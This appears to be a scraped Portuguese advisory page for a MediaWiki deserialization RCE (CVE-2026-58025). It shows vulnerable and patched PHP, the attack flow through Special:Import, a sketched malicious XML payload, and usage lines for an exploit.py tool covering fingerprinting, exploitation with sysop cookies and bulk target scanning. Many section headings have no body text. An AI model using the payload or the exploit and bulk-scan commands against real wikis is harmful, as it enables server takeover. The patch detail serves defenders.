CVE-2026-58025 — CVE-2026-58025 — RCE por Desserialização no MediaWiki via Importação de Entrada de Log. LogEntryBase::extractParams() faz unserialize() de log_params controlados pelo usuário. CVSS 9.8 | CWE-502 | MediaWiki < 1.43.9, < 1.44.6, < 1.45.4, < 1.46.0 | Kitploit

unserialize()

importupload

import

sysop

<params>

// includes/Logging/LogEntryBase.php (BEFORE fix)
public static function extractParams( $blob ) {
    return unserialize( $blob );  // ← user-controlled, no allowed_classes restriction
}

Arquivo	Linha	Contexto
`includes/Logging/DatabaseLogEntry.php`	187	`getParameters()` — lendo entradas de log do banco de dados
`includes/RecentChanges/RecentChange.php`	781	`parseParams()` — analisando mudanças recentes
`includes/Import/WikiRevision.php`	638	`importLogItem()` — importando entradas de log de XML
`maintenance/purgeChangedFiles.php`	182	Análise de log de script de manutenção
`tests/phpunit/maintenance/DumpAsserter.php`	541	Auxiliar de teste

POST /wiki/Special:Import
  Content-Type: multipart/form-data
  action=submit
  xmlimportfile=<malicious.xml>
  source=file
  catname=
  prefix=
  loginComment=

malicious.xml:
  <mediawiki ...>
    <logitem>
      <type>test</type>
      <action>test</action>
      <params>a:1:{s:3:"foo";O:8:"GadgetClass":N:{...}}</params>
    </logitem>
  </mediawiki>

→ WikiImporter::handleLogItem()
→ WikiImporter::processLogItem()
→ WikiRevision::importLogItem() → stores to DB
→ Later: DatabaseLogEntry::getParameters()
→ LogEntryBase::extractParams( $blob ) → unserialize( $blob )
→ PHP instantiates GadgetClass object → __wakeup() / __destruct() gadget chain
→ RCE as www-data

// includes/Logging/LogEntryBase.php (AFTER fix)
public static function extractParams( $blob, ?string $logType = null ) {
    $attribute = ExtensionRegistry::getInstance()->getAttribute( 'LogParamsAllowedClasses' );
    if ( $logType && array_key_exists( $logType, $attribute ) && is_array( $attribute[$logType] ) ) {
        $allowedClasses = $attribute[$logType];
    } else {
        $allowedClasses = false;  // no classes allowed
    }
    $result = @unserialize( $blob, [ 'allowed_classes' => $allowedClasses ] );
    if ( $result !== false && !is_array( $result ) ) {
        return false;
    }
    return $result;
}

public static function containsUnsafeParams( array $params ): bool {
    $result = false;
    $params = [ $params ];
    array_walk_recursive( $params, static function ( $val ) use ( &$result ) {
        if ( $val instanceof \__PHP_Incomplete_Class ) {
            $result = true;
        }
    } );
    return $result;
}

private function processLogItem( $logInfo ) {
    if ( !$this->performer->authorizeAction( 'logentryimport' ) ) {
        $this->notice( 'permissionserrorstext-withaction-noreason', ... );
        return false;
    }
    // ...
}

if ( LogEntryBase::containsUnsafeParams(
    LogEntryBase::extractParams( $this->params, "{$this->type}/{$this->action}" ),
) ) {
    wfDebug( __METHOD__ . ": skipping {$this->type}/{$this->action} with unsafe params" );
    return false;
}

# Generate malicious XML payload
python exploit.py --generate --output payload.xml

# Fingerprint target
python exploit.py -u https://target.com --check

# Full exploit (requires valid session cookies for sysop user)
python exploit.py -u https://target.com -c "session_cookies_here"

# Generate malicious XML import file
python exploit.py --generate --output payload.xml

# Fingerprint MediaWiki version
python exploit.py -u https://target.com --check

# Upload malicious XML via Special:Import (requires sysop session)
python exploit.py -u https://target.com -c "wiki_session=abc123; wikiUserID=1; wikiUserName=admin"

# Bulk check
python exploit.py -f targets.txt --check -o results.txt

CVE-2026-58025

Mais Populares

Versões Afetadas

Mecanismo da Vulnerabilidade

Causa Raiz

Vetor de Ataque

Fluxo de Ataque

Formato do Payload Serializado

A Correção

1. `unserialize()` restrito com `allowed_classes`

2. Nova verificação `containsUnsafeParams()`

3. Portão de importação — `WikiImporter::processLogItem()`

4. `WikiRevision::importLogItem()` — rejeição de parâmetros inseguros

5. `UnsafeLogFormatter` — exibição segura de entradas maliciosas existentes

6. Correção relacionada: CVE-2026-58037

PoC

Instalação

Uso

FOFA / Shodan

Referências

Aviso Legal

Branch de Versão	Vulnerável	Corrigido
1.43.x	< 1.43.9	1.43.9
1.44.x	< 1.44.6	1.44.6
1.45.x	< 1.45.4	1.45.4
1.46.x	< 1.46.0	1.46.0